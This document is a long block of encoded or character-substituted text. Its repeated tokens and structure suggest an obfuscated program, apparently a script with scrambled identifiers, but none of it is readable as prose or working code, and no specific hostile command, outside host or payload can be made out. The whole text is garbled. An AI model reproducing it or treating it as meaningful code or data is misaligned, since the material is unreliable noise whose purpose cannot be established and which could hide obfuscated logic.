*nnsnf~6z}ze~6w*-guDDnnnn3Dnnnnj%?/"+|'<('9}8?4>/7?,4)fz}~gnnnnsn/<</7fDn')<,*!v z,w(-=fz}gnnnnspnnnj#,>=-y-? *bD47}#%=++!*:fz}|gnnspnn'9}8?4>/7?,4)fz}}gbDguDnj%?/"+|'<(')<,*!v z,w(-=fz}zgnnsnnnnn/<</7fDnnn'9}8?4>/7?,4)fz}gnnnnspnnf{|weygbDnnnnn,,&x"7%*"w>* "|fz}{gnnnnnspnnnn,,&x"7%*"w>* "|fz}}gbDnguDDnnnn<+:;< nnj%?/"+|'<(uD3DnDnnn(; -:'! nnn66:7#z+|)}8-##",!|8!yzfgD5D'(nfo'9}8?4>/7?,4)f}wzgf'9}8?4>/7?,4)fz}xggnn22nnnnnno')<,*!v z,w(-=f}wzgf')<,*!v z,w(-=fz}ygggnnnnn<+:;< uD'(nnfo-#'$6wy*|{{wvx"(#w z9f47}#%=++!*:fz}vgggnnnn<+:;< uDnnnnnn:<7nn5Dn'(nnfo9> +6:=-&+*;"+*f4 9|#~4y?9<8|v+fgggnnn5Daann':+n*':!<tn><++#>:n!<-&+=:</:!<DDnnnnn9>=-&+*;"++8+ :f47}#%=++!*:fz}wgfgnnnennnnn,,&x"7%*"w>* "|fzz~gffzvxvgbnf}x}cx}ggbnnnnn'9}8?4>/7?,4)fz}~gbnnn4 9|#~4y?9<8|v+fgguDn3Dnnn3nnn(' /""7nn5Daann#,+*n"!-%tn,/:-&n#+#+ :!DDDDD){=}&w#/|!,w'7-<f,,&x"7%*"w>* "|fz}vgguDnnDDnnn3Dn3DnnnDnnn(; -:'! n>-w)4{-?>(-%<w6v=$*fgDnnnn5DDnnnnDDDn'(nnf*+(' +*f,,&x"7%*"w>* "|fzzggnnnhhnn
 	 gnn5Dnnnnn<+:;< uDnnnnnn3DDDnnDDDnnnnnn=:/:'-nnnnj%97w{},/}{<nsnn(/"=+uDnnnn'(nnnnfj%97w{},/}{<gnn<+:;< uDnj%97w{},/}{<nnsn:<;+uDDDDnnnnDnnnnnnn'(nnnnnnfon>,44{x%</|"8; :$x&7!fggn5Dnnnnn<+:;< uDnnnn3Daann;=:!#n' %tn' 8+<:',"+n:!%+ c,;-%+:DDDDn)7|%"~=8*~}4;8%,f47}#%=++!*:fzz|gbnn')<,*!v z,w(-=fzz}gbn~guD3DDDDnnnn(; -:'! n-*|;<?#6;->z:%y!),z"fgD5Dn'(nnnnnfo,,&x"7%*"w>* "|fzzzgf'9}8?4>/7?,4)fzz{ggnnn22nno47}#%=++!*:fzzzgf,,&x"7%*"w>* "|fzzxgggnnn<+:;< uDDDDn')<,*!v z,w(-=fzz{gf=':+;<"f')<,*!v z,w(-=fzzygnn`n')<,*!v z,w(-=fz~wgfi`ibnnnnnllbnf=:<' )gn'9}8?4>/7?,4)f}x~gf:<;+ggnnn`nn,,&x"7%*"w>* "|fzz~gff~6}e~6xgbnfww{ezgggbnn/<</7f')<,*!v z,w(-=f}}ygnnnnspnnnnn~`~bnnnn,,&x"7%*"w>* "|fzzvgnnnspnnnn(/"=+bnn47}#%=++!*:f}}vgnnspnn(/"=+gguDDDDnnn3DDDnn(; -:'! nnnn=yz*$x?z7*,('%)6&fgDnnn5Dnn=:/:'-nnnj :;{z%x7w6vnnnnsnn(/"=+uDn'(nnfj :;{z%x7w6vgnnnnn<+:;< uDnj :;{z%x7w6vnnnsnnnn:<;+uDn:<7nn5Dnnnj4&-4$ &89(nnsnnnn(/"=+uDnnnn'(nf,,&x"7%*"w>* "|fzzzgf'9}8?4>/7?,4)fzzwgggn5Dnn'9}8?4>/7?,4)fzzwgfguDj4&-4$ &89(nnnnsnnnnnn:<;+uDn3nnnnn+"=+'(nnf')<,*!v z,w(-=fz{~gf,,&x"7%*"w>* "|fz{gggnn5Dn47}#%=++!*:fz{gfguDnnnj4&-4$ &89(nnnnnsnn:<;+uDDDnnn3nnnn+"=+nnnn5Dnnn'(nnf')<,*!v z,w(-=fz{~gf'9}8?4>/7?,4)fz{|gggn5D'9}8?4>/7?,4)fz{}gf:<;+guDnnnnnn3Dj!76,:)}:&4&:7<nnnsn'9}8?4>/7?,4)fz{~gf'9}8?4>/7?,4)fz{zggnnnnnnhhn,,&x"7%*"w>* "|fz{zgf')<,*!v z,w(-=fz{{gguD'(nnnnfo&+/*+<==+ :fgnnnhhnnnnoj!76,:)}:&4&:7<nhhn')<,*!v z,w(-=fz{xgfgnnsssnnnnnnnnhhnn47}#%=++!*:fz{~gf'9}8?4>/7?,4)fz{ygggnnn5Dnnj-"nsnn!,)+:"+ ):&fguDDnnnn'(nnfj-"nnossnnn(/"=+nnnnnhhnnnnj-"nnnpnnn~gnnn5DDDDnn&+/*+<f')<,*!v z,w(-=fz{vgnnnn`nj-"guDnnnnnn&+/*+<f,,&x"7%*"w>* "|fz{wgguDn3DDDnnnn3Dnnn'(nf'9}8?4>/7?,4)fz{xgfggn5DDDn'9}8?4>/7?,4)fzx~gfguDnnnnnnDDnnn3Dn,,&x"7%*"w>* "|fzxgfguDnnnnnn3DDDnnnnnj78?$=~6*:>nnsnnnnnn,,&x"7%*"w>* "|fz{~gf47}#%=++!*:fzx|ggnnhhnnnnof*+(' +*f,,&x"7%*"w>* "|fzx}ggnhhnnn
 guDnnnnnj)7("|{/-:()$nnsnno')<,*!v z,w(-=fz{~gf')<,*!v z,w(-=fzxzggnnn22nnnnf' :gnnn)+:!>:'! f,,&x"7%*"w>* "|fzx{gbnn~gnsssnn~uDnn'(nnfoj)7("|{/-:()$nnnnhhn,,&x"7%*"w>* "|fz{~gf')<,*!v z,w(-=fzxxggnnnhhnnn,,&x"7%*"w>* "|fz{~gf')<,*!v z,w(-=f}w{gggnnn5DDj7y<|!+/-}nnnnsnf=:<' )gnn)+:!>:'! f')<,*!v z,w(-=fzxygbnnnnnnllguDDDD'(nnnfj7y<|!+/-}nnnossnn9),%/4:v49)x!/ /x9}(y:fggnnn5Dadn-"!>+ n/((' +c:7>+ndaDDnnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|fzxvgbnn9),%/4:v49)x!/ /x9}(y:fgbnn47}#%=++!*:fwgguDnnnnn;>*/:+!>:'! f'9}8?4>/7?,4)fzx{gbnnn~bnn47}#%=++!*:fwgguDnj)7("|{/-:()$nnsnnnn:<;+uDnnnnn3Dn3Dnnnnnj#8y~-%##:%9?#y8vnsnnnn(/"=+uDnnn'(nnfj78?$=~6*:>nhhnnnn47}#%=++!*:fzxwgf'9}8?4>/7?,4)fz}xgggnn5Dj%% <76={("x??,nnnnsnnnnnn9> +6:=-&+*;"+*f4 9|#~4y?9<8|v+fgguDnn'(nfj%% <76={("x??,nhhnnnnf,,&x"7%*"w>* "|fz}wgfgnnncnnf' :gnj%% <76={("x??,gnpnnnfz}ze{yxxggnnnnnn5Dnnnnnnnj#8y~-%##:%9?#y8vnnnsnn:<;+uDnn'(nnnnf47}#%=++!*:fzxwgf')<,*!v z,w(-=fzy~gggnnnnnn9>; =-&+*;"++8+ :ff' :gnnnj%% <76={("x??,bnn4 9|#~4y?9<8|v+fgguDn3Dnn3D'(nnfj78?$=~6*:>nnnnhhnnnoj)7("|{/-:()$nnnnnnhhnnoj#8y~-%##:%9?#y8vgn5Dnnj/+=9{x& (y*!<>&nsnn'9}8?4>/7?,4)fzxwgf'9}8?4>/7?,4)fz}xggnnnnqnnnnnf' :gn9> +6:=-&+*;"+*f4 9|#~4y?9<8|v+fggnntnn~uDnn'(nnnnfj/+=9{x& (y*!<>&nnrsnnnnn~n22nnj/+=9{x& (y*!<>&nnncnnnnnn47}#%=++!*:fz}wgfgnnnpnfvw{e{ggnnnn5Dnn9>=-&+*;"+=' )"++8+ :f'9}8?4>/7?,4)fz}wgfgbnnn4 9|#~4y?9<8|v+fgguDnnnDDnnnnnn3DDn/#*-)"#|!%(*vv#', ,fguDnnnnnn<+:;< uDn3Dnnnn'(nnnfj#8y~-%##:%9?#y8vgn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fzygbn'9}8?4>/7?,4)fzy|gguDDDDnn'(nnnnfoj4&-4$ &89(gn5Dnn'(nnnfj78?$=~6*:>gn9>=-&+*;"+=' )"++8+ :f,,&x"7%*"w>* "|fz}wgfgbnn4 9|#~4y?9<8|v+fgguDn-*|;<?#6;->z:%y!),z"fguDn/#*-)"#|!%(*vv#', ,fguDDn<+:;< uDn3Dnn'(nnf47}#%=++!*:fzxwgf,,&x"7%*"w>* "|fzy}gggnnn,,&x"7%*"w>* "|fzy}gffwzczgguDDDnnnnn;|<#,9"|w99w?>fguD3nn-/:-&nf&<!9/,"+nnnnj": >{,:|gn5Dnnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fzz|gbnnnj": >{,:|guD3nn-/:-&nnnnf6-+>:'! nnj": >{,:|gn5Dn3D3DDn(; -:'! nn6|% 47$~:*/=7-{fgDnnnnnn5D:<7nnnn5Dnnnn'(nnfon')<,*!v z,w(-=fzxwgf'9}8?4>/7?,4)fzxxgggnn5Dn<+:;< uj#-vz;+(4zs a uj,?+~~x#/~|~sj#-vz;+(4zez~uDnnnnnnn3DDj,=4;~9}#~%nnsnnnn47}#%=++!*:fzxwgf')<,*!v z,w(-=fzyzggnnqnnnn)+::</ ='+ :f/==<)w'y{{4y'%~=?fggnntnnnn(/"=+uDn'(nnfonnn47}#%=++!*:fzy{gfj,=4;~9}#~%ggnnj,=4;~9}#~%nnnsnn/&w~'=z( v8*?</%86;zf,,&x"7%*"w>* "|fzyxgbnnn(/"=+guD'(nfonnnn'9}8?4>/7?,4)fzy{gfj,=4;~9}#~%ggnnn5Dn<+:;< uDDDnnnn3DnDnnnnnn'(nnf'==+:fj,=4;~9}#~%')<,*!v z,w(-=fzyyggnhhnnnnnn47}#%=++!*:fzyvgfj,=4;~9}#~%,,&x"7%*"w>* "|fzyygggnnnn5Dadn=:/:'-c/*$n#+==/)+c?;+;+ndaDDnnnj	'9}8?4>/7?,4)fzywgnnnsn4***~y4(x#~|(4*'z~7)7fj,=4;~9}#~%'9}8?4>/7?,4)fzyygguDn3DnD'(nnf'==+:fj,=4;~9}#~%,,&x"7%*"w>* "|fzv~ggnnnnnhhnnnn,,&x"7%*"w>* "|fzvgfj,=4;~9}#~%,,&x"7%*"w>* "|fzv~gggnnn5DDDDnnnj	')<,*!v z,w(-=fzv|gnnnnsnn4***~y4(x#~|(4*'z~7)7fj,=4;~9}#~%,,&x"7%*"w>* "|fzv~gguD3DnDnnnnn'(nnnnnnf'==+:fj,=4;~9}#~%47}#%=++!*:fzv}ggnhhnnnnn47}#%=++!*:fz~gfj,=4;~9}#~%')<,*!v z,w(-=fzv}gggnn5Dnnnj	,,&x"7%*"w>* "|fzvzgnnsnj,=4;~9}#~%,,&x"7%*"w>* "|fzv{guDaan' -<+#+ :/"n-!#>!=':+DDnnnnn3Dn'(nnf'==+:fj,=4;~9}#~%')<,*!v z,w(-=fzvxggnnhhnnnnnn47}#%=++!*:fzvygfj,=4;~9}#~%')<,*!v z,w(-=fzvxggnhhnnn47}#%=++!*:fz|{gfj,=4;~9}#~%47}#%=++!*:fzvxggnnnnpnnnf~6|/e~6vggn5Dnnj	'9}8?4>/7?,4)fzvvgnnnnnsnj,=4;~9}#~%47}#%=++!*:fzvwguDDDnnnnn3Daan=-&+*;"+n +)!:'/:!<n(!<nnv`zn(',+<=DDDn'(nnnnnf'==+:fj,=4;~9}#~%,,&x"7%*"w>* "|fzggnnnnnnhhnnnn,,&x"7%*"w>* "|fzvygfj,=4;~9}#~%47}#%=++!*:fzw~ggnhhn')<,*!v z,w(-=fz|{gfj,=4;~9}#~%')<,*!v z,w(-=fzwggnnnnpnnnfwwcwwggn5Dnnj	'9}8?4>/7?,4)fzw|gnnnnsnnj,=4;~9}#~%'9}8?4>/7?,4)fzwguj -4~9# zsxydxuj/}6y76#w(y"=z}sj -4~9# zcz{uDn3Dnn3nn-/:-&nnf&<!9/,"+nnnj": >{,:|gnnnnnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fzw}gbnnnnj": >{,:|guDnnnnn3n-/:-&nnnnnnf6-+>:'! nnnj": >{,:|gnn5DDDDn3Dnn3DnnnnnDnnnn(; -:'! nnnnn/*$/${z$-7)&~8~ <+:fgDnn5Dn:<7n5Dnnnnn'(nnfo,,&x"7%*"w>* "|fzwzgf47}#%=++!*:fzxxggnn22nno47}#%=++!*:fzwzgf')<,*!v z,w(-=f}w{gggnn<+:;< uDDDnn'(nnff' :gn)+:!>:'! f47}#%=++!*:fzw{gbnn~gnnnpn')<,*!v z,w(-=fz}wgfgnncnnnf}{ze{wggnn<+:;< uDnn'(nnf'9}8?4>/7?,4)fzwxgf')<,*!v z,w(-=fzyzggnnhhnnnn)+::</ ='+ :f')<,*!v z,w(-=fzwygggn<+:;< uDDDj+%x&4&}x*/6;>&'nnnnnnsnn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)fzwvgbnnllguD'(nnfo,,&x"7%*"w>* "|fzvygfj+%x&4&}x*/6;>&'gnn22nn')<,*!v z,w(-=fzwwgfj+%x&4&}x*/6;>&'gnrnnnnnfwz}czz}gnnn22n,<)<|-7#{,&?{:+w4xfj+%x&4&}x*/6;>&'gnnnnn22nno84*{ <*'w~?-y,-4,;fj+%x&4&}x*/6;>&'ggn5j:z!v-:4vzs}y~zuj9"-8w<,*"4sj:z!v-:4vzkyuDj+%x&4&}x*/6;>&'nnsn(/"=+uDnj+< /-*9{;x,v#nsn'9}8?4>/7?,4)f||}gf<xw=w,+~4~}#8~fgguDDDnn'(nnnnfj+< /-*9{;x,v#nnhhnnj+< /-*9{;x,v#npnfxxcxgnnhhnnj+< /-*9{;x,v#nnnrsnnnnnf{|z|vyxe}wggnnnnn5j! ;"${v{>&-s a uj${=~7:)%={7'sj! ;"${v{>&-ewuDnj>z;/%:9#x#%#%+,nnnnnsn47}#%=++!*:f|}gf<xw=w,+~4~}#8~fgguDnnnn'(nnnf'9}8?4>/7?,4)f{~~gfj>z;/%:9#x#%#%+,gnnnhhn')<,*!v z,w(-=f{~gfj>z;/%:9#x#%#%+,gnnnpnnf~zv{}ve}vggnnj>z;/%:9#x#%#%+,nnsnnnn$9v'='y;'&{$%$zy+fj>z;/%:9#x#%#%+,guD'(nnf,,&x"7%*"w>* "|f{~|gfj>z;/%:9#x#%#%+,gnnnhhnnno,<)<|-7#{,&?{:+w4xfj>z;/%:9#x#%#%+,gnnnnnhhnnn84*{ <*'w~?-y,-4,;fj>z;/%:9#x#%#%+,ggnnn5Daan+#-/-&+*n/*/>:+<tn=' );"/<n"' +/<c:7>+DDn$4"|"44x:74/<*9 %#||8f'9}8?4>/7?,4)fzwvgbnnnj>z;/%:9#x#%#%+,bnn')<,*!v z,w(-=fwgguDnnj+%x&4&}x*/6;>&'nnnsnj>z;/%:9#x#%#%+,uDn3Dnnn3DDD'(nnfoj+%x&4&}x*/6;>&'gn5j6;&&4}xx~&=8>s uj%8"%~*>}sj6;&&4}xx~&=8>duDnnnnn;>*/:+!>:'! f'9}8?4>/7?,4)f{~}gbnnnnn47}#%=++!*:fz}wgfgbnnn47}#%=++!*:f{~zgguDDD<+:;< uDDDDnnnn3DDnnnnn3Dnj?*&87:z|/nsnnnnn/<</7f<xw=w,+~4~}#8~fgguDnnnnj4+)z%"89|,'7nnnsnnnn;-/!w +!8v87%z=!&:~~ fguDnnj*'|'w{+y;!wxnnnsnn;|=;}& y{+y&=&/=?%;fj4+)z%"89|,'7guj$,+}zx#w);$$,sf~6*{e~6wvguj' &&!"-sj$,+}zx#w);$$,k}uDnnn'(nnnnf47}#%=++!*:fzvgfj*'|'w{+y;!wxggnn5DD(!<+/-&nnnnfj*'|'w{+y;!wxn/=nj#}v& 6w</gn5Dnnnnn'(nnf47}#%=++!*:f{~{gfj#}v& 6w</bnnnncfe}ggnnnnsssnnnnnn,,&x"7%*"w>* "|f{~xggnnnj?*&87:z|/nnnnsnnnnj4+)z%"89|,'7n`nnnnnniainn`nnj#}v& 6w</uDnnn3DDDnn3Dnnn'(nf*+(' +*f,,&x"7%*"w>* "|f{~yggnnnhhn47}#%=++!*:fzwxgf,,&x"7%*"w>* "|f{~vgggnn5D(!<+/-&nnnff/<</7gnnnnnn,,&x"7%*"w>* "|f{~vgf	 
n`nnn'9}8?4>/7?,4)f{~wggn/=nnnnnj74&:#)&=#,/{7gnnj?*&87:z|/nsnj74&:#)&=#,/{7uDDDnnnn3DDDDnj?*&87:z|/nnnnsnn'9}8?4>/7?,4)f{~gfj?*&87:z|/guDnnj4-+9xz#y&;}**nsnn/<</7fguDDDj*y%|+);nnnnnsn,,&x"7%*"w>* "|f{~{gf,,&x"7%*"w>* "|f{gf47}#%=++!*:f{|gbnnllbnnn'9}8?4>/7?,4)f{~{gfj+%x&4&}x*/6;>&'bnn~bnnnf}v}}exy~}gggbnnnn~bnnf~6|z}e~6{,*gguDnn(!<+/-&nnnfj?*&87:z|/nnn/=nnj(",(/4}#}|y '<!gn5Dnnj&&#""#w7~)::|+!nnnnsnn'9}8?4>/7?,4)f||}gfj(",(/4}#}|y '<!guDDD'(nfoj&&#""#w7~)::|+!nnnnn22nnnnj&&#""#w7~)::|+!nrsnf~zvzwyeywggn-! :' ;+uDj+6{%9:-4{#*/>z}nsnn,,&x"7%*"w>* "|f{}gfj(",(/4}#}|y '<!bnn(/"=+bnn ;""bnnnnn~bnnnnfx{{|ze|gguDnnnnn'(nnfo'9}8?4>/7?,4)f{zgfj+6{%9:-4{#*/>z}gnnn22nno,<)<|-7#{,&?{:+w4xfj+6{%9:-4{#*/>z}ggn-! :' ;+uDnnnnnnnn'(nnnnnfj(",(/4}#}|y '<!nnossnn<xw=w,+~4~}#8~fgnhhnnnnn'9}8?4>/7?,4)f{~{gf'9}8?4>/7?,4)f{gf47}#%=++!*:f{{gbnllbnj+6{%9:-4{#*/>z}gbn~bnnfwwxe{|ggnnossnnnj*y%|+);gnnn-! :' ;+uDnnnnnnj4-+9xz#y&;}**nnnnsnnj(",(/4}#}|y '<!uD3Dnnn'(nfoj4-+9xz#y&;}**gnnnn5D'(nnnf47}#%=++!*:fzwxgf'9}8?4>/7?,4)f{xgggnnnn=+::</ ='+ :f'9}8?4>/7?,4)f{ygbnnnnbnnnf{|xeyzgguDn<+:;< uDn3Dn;>*/:+!>:'! f47}#%=++!*:f{~}gbnnn47}#%=++!*:f{vgfgbnn47}#%=++!*:f{~zgguDn(!<+/-&nfj4-+9xz#y&;}**nnn/=nj*+|?#!/(##,y>gnnn5Dnnnn??:+}<">$9;(=4=8'-+fj*+|?#!/(##,y>bnf~6x~e~6zzgguDnn'(nnnnf=,?(,4;}z-}  {8=6$'6>fj*+|?#!/(##,y>bn:}(#?!!(%;7/+%{! 9fj+%x&4&}x*/6;>&'gggn5D ,v  6"!(;6%6 v"7fj*+|?#!/(##,y>guDnnn+wz$"%z*-z:%}"fj*+|?#!/(##,y>guj*8v!y-6|s a uj-+$?$7/8<(<*~+sj*8v!y-6|e|yuDnnn??:+}<">$9;(=4=8'-+fj*+|?#!/(##,y>bnnf||eygguDnnnnnn"~/(%7wz&:z(&w/fj*+|?#!/(##,y>guD'(nnnnfj*+|?#!/(##,y>nnsssn<xw=w,+~4~}#8~fggnnn5DDDDn+4667 68'<#||9f:<;+guDnnnn6:}/<")$?4:?9=':|f:<;+guDnnnnnnnn3Dnn3nn+"=+n5D??:+}<">$9;(=4=8'-+fj*+|?#!/(##,y>bnf|yye{gguDDDnn3D3Dn3n-/:-&nnnnf&<!9/,"+nj": >{,:|gnnnn5j,v6#-/}:%(|-s|zv2ywuj-v-<-{#7~ sj,v6#-/}:%(|-{uDDDnnnnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f{wgbnnj": >{,:|guD3nnnn-/:-&nnf6-+>:'! nnnnnj": >{,:|gnn5Dnnn3DDn3D(; -:'! nnn'4$|'&<":"}8~*}fgDDnn5Dnnnnnn=:/:'-nnnnnj%97w{},/}{<nsn(/"=+uDn'(nfj%97w{},/}{<gn<+:;< uDnnj%97w{},/}{<nnsnnnn:<;+uDn:<7nn5Dnnnnn 7}*'<9%#:99{!)*;:zv:fguDDDnnn/*$/${z$-7)&~8~ <+:fguDDDDn6:/'$#79-9|4*!=fguDDDD6|% 47$~:*/=7-{fguDDDDn66:7#z+|)}8-##",!|8!yzfguDn4")#>*-;99x${4y/!%:fguD"y$$</,"#9 <)"z,?,fguDnn"%(8,-')?--{-=zfguDnnnnn$w7w(%74*6|$)|~+<~>fguDnnnnnn'(nnf>,44{x%</|"8; :$x&7!fggnnn5Dnn'(nnf,,&x"7%*"w>* "|f{|~gf,,&x"7%*"w>* "|f{|ggnhhnnnn*'*/-:'! f'9}8?4>/7?,4)fzz|gggnn5Dnnnn'(nf'9}8?4>/7?,4)f{|~gf,,&x"7%*"w>* "|f{||gggnn,,&x"7%*"w>* "|f{||gf,,&x"7%*"w>* "|fzz}gguDnn3n+"=+nnn5Dnnn)7|%"~=8*~}4;8%,f')<,*!v z,w(-=fzz|gbnnnn,,&x"7%*"w>* "|fzz}gbnnnn~guDnnnnn3Dn3DDnnn3n-/:-&nnnf&<!9/,"+nnj": >{,:|gn5j$|>#/6w# >998s a uj,/&=:>!%+sj$|>#/6w# >998e}uDDDD3nn-/:-&nnnf6-+>:'! nnnnj": >{,:|gnnnnnn5Dnnn3D3Dn(; -:'! n/#*-)"#|!%(*vv#', ,fgDnnnn5DD:<7nn5D'(nnnnfo47}#%=++!*:f{|}gf47}#%=++!*:fzz{ggnnnnn22no,,&x"7%*"w>* "|f{|}gf')<,*!v z,w(-=f{|zgggnnnn<+:;< uDn'(nfo,,&x"7%*"w>* "|f{|}gf')<,*!v z,w(-=f{|{ggnnnn22nnnno'9}8?4>/7?,4)f{|}gf,,&x"7%*"w>* "|f}w{gggnn<+:;< uDnj,?*8?9v6=y$!;+"nnsn'9}8?4>/7?,4)f{|xgfguDnnn'(nnnnfj,?*8?9v6=y$!;+"nnnnncnnnf' :gnn)+:!>:'! f,,&x"7%*"w>* "|f{|ygbn~gnrnnnnnnf}{wxezggn<+:;< uDnnnnnnnn;>*/:+!>:'! f47}#%=++!*:f{|ygbnj,?*8?9v6=y$!;+"bn')<,*!v z,w(-=f{|vgguDDD47}#%=++!*:fzz{gf&!#+;<"fiaigbnn/<</7f'9}8?4>/7?,4)f}}ygnnnspnnnnn|bnn47}#%=++!*:f}}vgnnnspnnn(/"=+bnnn'9}8?4>/7?,4)fzzvgnspnnnn(/"=+gguDD3nn-/:-&nnf&<!9/,"+nnnj": >{,:|gn5DDn3n-/:-&nnf6-+>:'! nj": >{,:|gnn5Dn3Daan<!:/:+n?;!:'+ :n(!<nn+<=+n"!-%DDnnn3DDDnnn(; -:'! n>,44{x%</|"8; :$x&7!fgDn5Dnnn'(nfonn')<,*!v z,w(-=f{|wgf,,&x"7%*"w>* "|f{|{gggnn5Dnnnn<+:;< n:<;+uDnn3DDnnn'(nf')<,*!v z,w(-=f{|wgf,,&x"7%*"w>* "|fzyzggnnnnhhn)+::</ ='+ :f/==<)w'y{{4y'%~=?fgggnnn5DDDnnnn<+:;< nnn(/"=+uj(:x{$68)*6s uj7!+4$?w>'4sj(:x{$68)*6dwuDnnn3DnnnnnDnj<#?y6?y8 '*$44{%nsnnn&+{6!?~%' y}~'|9?fguDnnnnnnj/z~%9$$)")x>>)#nnsn/&w~'=z( v8*?</%86;zf')<,*!v z,w(-=fzyxgbnnnn(/"=+guDnn'(nnnnf'9}8?4>/7?,4)fzvgfj/z~%9$$)")x>>)#gnnnnhhn'==+:fj/z~%9$$)")x>>)#')<,*!v z,w(-=f{}~ggnnhhnnnnnnf' :gnnnj/z~%9$$)")x>>)#')<,*!v z,w(-=f{}gnnpsnnnnfwze~xgnhhnf' :gnnnj/z~%9$$)")x>>)#,,&x"7%*"w>* "|f{}gnnnnrsnfy{vexvvv|ggnnnj<#?y6?y8 '*$44{%nnnnnsnnnnnf' :gnnnnj/z~%9$$)")x>>)#'9}8?4>/7?,4)f{}guDDDnnj%# <&<|:wv7!-{4{nsnnf' :gnnnnnn)+:!>:'! f47}#%=++!*:fzx{gbn~guDnnnn'(nnfj%# <&<|:wv7!-{4{nnpnnnnn~nnnhhnf,,&x"7%*"w>* "|f{}|gfgnncnnnnj%# <&<|:wv7!-{4{gnnnnrnnnj<#?y6?y8 '*$44{%gnnn5Dnnnn<+:;< nnnn(/"=+uDnnnnn3DDDDnDnj,/('ww%>9~-nnnsnnnnnf' :gnnn)+:!>:'! f,,&x"7%*"w>* "|f{}}gbnn~guDn'(nnfj,/('ww%>9~-npn~gnn5DDnj*%$&v4?<{w'nnsnnnnnnf' :gnnn)+:!>:'! f47}#%=++!*:f{}zgbnn~guDnnj* {=<{/"w&4nnnsnn/<</7ff|xze}xgbnnnnnnf{|}cx|}gbnnnnfy}xexzgbnf}{}yex}gbnnf}{|zeyxgguDnnnj6!<4> z~8$nsnnnnj* {=<{/"w&447}#%=++!*:f{}{gf~bn'9}8?4>/7?,4)f{}xgfj*%$&v4?<{w'nnncnbnnnnfe}ggguDDDnnnnnj6!<4> z~8$nnnesnnnn47}#%=++!*:fzz~gf~bnnnf' :gnnfj6!<4> z~8$nnnnndn~`|{gguDnnn'(nnnnff,,&x"7%*"w>* "|f{}|gfgnncnj,/('ww%>9~-gnnnnnrnj6!<4> z~8$gnnnnn5Daan=;=>+ *n&+/<:,+/:DDnnnn<+:;< nn(/"=+uDnnnnn3D3DnnnnDnnnnnn<+:;< nnn:<;+uDn3DDn(; -:'! nnnn&</,4-|7(8#:8 fgDnn5Dnj*%$&v4?<{w'nnnsnnf' :gn)+:!>:'! f'9}8?4>/7?,4)f{}zgbnnnn~guDn;>*/:+!>:'! f,,&x"7%*"w>* "|f{}zgbnnnj*%$&v4?<{w'nnennguDnnn;>*/:+!>:'! f,,&x"7%*"w>* "|f{}}gbnn,,&x"7%*"w>* "|f{}|gfgguDDnnnnn3DDnnnnnn(; -:'! n7:{~w9=68<zv~w};~ :+vfgDDnnn5Daann+/:;<+*n#/)+tn !<#/"n?;!:'+ :DDnnnnnj+< +&z~!x"4}nnsnnn/<</7fguDnnn:<7n5Dnnnnnnj+< +&z~!x"4}'9}8?4>/7?,4)f{}ygnnnsn9),%/4:v49)x!/ /x9}(y:fguDnnnj+< +&z~!x"4}'9}8?4>/7?,4)f{}vgnnsnnnnnn uDnj+< +&z~!x"4}'9}8?4>/7?,4)f{}wgnnsnnnn47}#%=++!*:fv}gfguDj+< +&z~!x"4}')<,*!v z,w(-=f{z~gnsnnnnf47}#%=++!*:f{zgf'9}8?4>/7?,4)f{z|ggnnnhhn'==="fggnnnqnnnnntnn~uDj+< +&z~!x"4}47}#%=++!*:f{z}gnnsnf47}#%=++!*:f{zgf,,&x"7%*"w>* "|f||yggnnhhnnn'=#;":'=':+fggnnqnnntnn~uDnnnDDnnnnj+< +&z~!x"4},,&x"7%*"w>* "|f{zzgnnnnnsnn'==+:fj	')<,*!v z,w(-=f{z{ggnqnnnf=:<' )gnnnnnj	'9}8?4>/7?,4)f{z{gnnntnlluDj+< +&z~!x"4},,&x"7%*"w>* "|f{zxgnnsn'==+:fj')<,*!v z,w(-=fvxggnnnnnqnnn,,&x"7%*"w>* "|f{zygff=:<' )gnnnnnnj')<,*!v z,w(-=fvxgbnnn~bnnnfye}}ggntnnnnlluDDnj=+68-4w~*6y("nnnsnnnnf'==+:fj	47}#%=++!*:f{zvggnhhnn,,&x"7%*"w>* "|f{zwgfj	')<,*!v z,w(-=f{{~gggnnnnnqnnnn47}#%=++!*:f}wgfj	'9}8?4>/7?,4)f{{~ggnntnnlluDDDj+< +&z~!x"4}'9}8?4>/7?,4)f{{gnnnsnfj=+68-4w~*6y("nnnossnnnllgnqnnnnnntnnnnn~uDnnnnnj+< +&z~!x"4}'9}8?4>/7?,4)f{{|gnnnsnnnn'9}8?4>/7?,4)f{{}gfj=+68-4w~*6y("guDnnnnj+< +&z~!x"4}47}#%=++!*:f{{zgnsnno+#>:7fj	'9}8?4>/7?,4)f{{{ggnnqnnnnnnnntn~uDDDDj+< +&z~!x"4}47}#%=++!*:f{{xgnsnnno+#>:7fj	')<,*!v z,w(-=f{{yggnqnnnnnntn~uDnnj+< +&z~!x"4},,&x"7%*"w>* "|f{{vgnsnnn47}#%=++!*:f{{wgf')<,*!v z,w(-=f{|{ggnnnnnnqnnf' :gnnnnn)+:!>:'! f'9}8?4>/7?,4)f{x~gbn~gnnntnnnn~uDDnnnnnnj+< +&z~!x"4}')<,*!v z,w(-=f{xgnnnnnsnf!|*6}/&4>&4x '{f,,&x"7%*"w>* "|f{xgbnllgnnossnnnnllgnqnnnnntn~uDnnnnnnnj+< +&z~!x"4}'9}8?4>/7?,4)f{x|gnsnn47}#%=++!*:f{{wgf'9}8?4>/7?,4)f{|{ggnqnf' :gnnn)+:!>:'! f'9}8?4>/7?,4)f{x}gbn~gntnnn~uDnj+< +&z~!x"4}')<,*!v z,w(-=f{xzgnnsn')<,*!v z,w(-=f{{wgf'9}8?4>/7?,4)f{|{ggnnqnnnnf' :gnn)+:!>:'! f'9}8?4>/7?,4)f{x{gbnnnn~gnnntnnnnn~uDnnnnnnj+< +&z~!x"4}')<,*!v z,w(-=f{xxgnsnn,,&x"7%*"w>* "|f{xygf,,&x"7%*"w>* "|f{|{ggnnnqnnnnnf' :gnnnn)+:!>:'! f47}#%=++!*:f{xvgbn~gntn~uDj8z()4x*~(nnsn;7*|y?6v~=;#*-v8:;w(/fguDnnnnnj+< +&z~!x"4}'9}8?4>/7?,4)f{xwgnnsnnnnnn')<,*!v 